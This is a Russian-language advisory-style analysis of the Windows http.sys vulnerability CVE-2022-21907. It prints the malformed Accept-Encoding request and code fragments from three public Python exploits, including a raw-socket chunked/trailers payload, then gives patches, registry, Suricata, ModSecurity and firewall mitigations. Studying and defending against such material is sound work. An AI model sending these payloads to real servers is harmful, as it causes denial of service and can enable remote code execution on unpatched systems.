
Уязвимость BDU:2022-00163 (CVE-2022-21907) http.sys Windows
Уязвимость BDU:2022-00163 (CVE-2022-21907) представляет собой критическую ошибку в сетевом стеке HTTP Protocol Stack (http.sys) операционных систем Microsoft Windows. Уязвимость связана с обработкой заголовка Accept-Encoding
в HTTP-запросах, где специально сформированные данные вызывают переполнение буфера в памяти. Это позволяет злоумышленнику выполнить произвольный код или вызвать отказ в обслуживании (DoS).
Анализ уязвимости
Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сеть) - Атака выполняется удаленно через сеть
-
AC:L (Сложность атаки: Низкая) - Не требует специальных условий эксплуатации
-
PR:N (Уровень привилегий: Не требуется) - Аутентификация не требуется
-
UI:N (Взаимодействие с пользователем: Не требуется) - Действия пользователя не требуется
-
S:U (Область воздействия: Не оказывает) - Не затрагивает другие компоненты системы
-
C:H (Влияние на конфиденциальность: Высокое) - Полный доступ к конфиденциальным данным
-
I:H (Влияние на целостность: Высокое) - Полный контроль над системой
-
A:H (Влияние на доступность: Высокое) - Полный отказ в обслуживании
Условия эксплуатации
-
Целевая система должна использовать уязвимые версии ОС Windows
-
Сервер должен иметь открытый HTTP/HTTPS-порт (80/443)
-
Для Windows Server 2019/Windows 10 1809 требуется включенный параметр реестра
EnableTrailerSupport
-
Злоумышленнику нужен сетевой доступ к уязвимому серверу
Уязвимые версии ОС
- Windows 10 1809 64-bit
- Windows 10 1809 32-bit
- Windows 10 1809 ARM64
- Windows 10 20H2 ARM64
- Windows 10 20H2 32-bit
- Windows 10 20H2 64-bit
- Windows 10 21H1 32-bit
- Windows 10 21H1 64-bit
- Windows 10 21H1 ARM64
- Windows 10 21H2 64-bit
- Windows 10 21H2 32-bit
- Windows 10 21H2 ARM64
- Windows 11 64-bit
- Windows 11 ARM64
- Windows Server 2019
- Windows Server 2019 Server Core installation
- Windows Server 20H2 Server Core Installation
- Windows Server 2022
- Windows Server 2022 Server Core installation
Технический механизм уязвимости
Уязвимость CVE-2022-21907 возникает в функции обработки заголовка Accept-Encoding
в драйвере http.sys
. При получении специально сформированной последовательности кодировок происходит ошибка управления памятью.
Эксплуатация возможна через отправку HTTP-запроса с искусственно усложненным заголовком Accept-Encoding
:
GET / HTTP/1.1 Host: vulnerable-server Accept-Encoding: AAAAAAAAAAAAAAAAAAAAAAAA, BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S, RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF, ****************************stupiD, *, ,
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости BDU:2022-00163.
Анализ эксплоитов
1. Эксплоит от antx (Python)
headers = { 'Accept-Encoding': 'AAAAAAAAAAAAAAAAAAAAAAAA, ' 'BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S, ' # ... дополнительные искусственные кодировки ... '****************************stupiD, *, ,' } try: r = requests.get(target, headers=headers, timeout=10) except requests.exceptions.ReadTimeout: print("Уязвимость присутствует!")
Механизм:
-
Отправка специфической последовательности кодировок
-
Проверка на таймаут ответа как индикатор успешной атаки
-
Ложные срабатывания возможны при проблемах с сетью
2. Эксплоит от polakow (Python)
data = "200\r\n" + "A" * 0x200 + "\r\n" * 4 payload = f"GET / HTTP/1.1\r\nHost: {target}\r\n" payload += "TE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" payload += data + data + "0\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendall(payload.encode())
Особенности:
-
Использует комбинацию chunked encoding и trailers
-
Отправка повторяющихся блоков данных для усиления эффекта
-
Поддержка IPv6 и HTTPS
3. Эксплоит от Podalirius (Python)
# ... длинная строка ... payload = 'AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,' requests.get(target, headers={"Accept-Encoding": payload})
Преимущества:
-
Минималистичная реализация
-
Встроенный мониторинг состояния сервера
-
Четкая индикация успешности атаки
Защитные меры
-
Установка официальных обновлений
Microsoft выпустила патчи в январских обновлениях 2022 года. -
Отключение уязвимой функциональности
Для Windows Server 2019 и Windows 10 1809:Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\HTTP\Parameters" -Name "EnableTrailerSupport" -ErrorAction SilentlyContinue Restart-Computer -Force
-
Правила для Suricata (IPS)
Добавьте вsuricata.rules
:alert http any any -> any any (msg:"CVE-2022-21907 Exploit Attempt"; flow:established,to_server; content:"Accept-Encoding"; nocase; pcre:"/Accept-Encoding\s*:\s*([^,]{100,}|[^,]*,{10})/i"; classtype:attempted-admin; sid:20220107; rev:1;)
Объяснение правил:
-
Блокирует запросы с заголовком Accept-Encoding длиннее 100 символов
-
Или содержащие более 10 запятых в значении
-
Минимизирует ложные срабатывания для легитимных запросов
-
-
Правила для ModSecurity (WAF)
Для IIS с установленным ModSecurity:SecRule REQUEST_HEADERS:Accept-Encoding "@rx ([^,]{100,}|[^,]*,{10})" "id:10007,phase:1,deny,status:400,msg:'CVE-2022-21907 Exploit Attempt'"
-
Сегментация сети
-
Ограничьте доступ к HTTP/HTTPS-портам корпоративным VPN
-
Реализуйте сетевые ACL:
# Пример для Windows Firewall New-NetFirewallRule -DisplayName "Block HTTP External" ` -Direction Inbound -LocalPort 80,443 -Protocol TCP ` -Action Block -InterfaceType Public
-
Заключение
BDU:2022-00163 (CVE-2022-21907) представляет серьезную угрозу для инфраструктур на базе Windows Server. Критическая оценка CVSS 9.8 подчеркивает важность немедленного применения патчей. Для временной защиты эффективны WAF/IPS-правила, блокирующие аномальные заголовки Accept-Encoding. Системным администраторам следует уделить особое внимание системам, недоступным для немедленного обновления, реализовав комбинацию сетевых контролей и мониторинга подозрительных запросов.
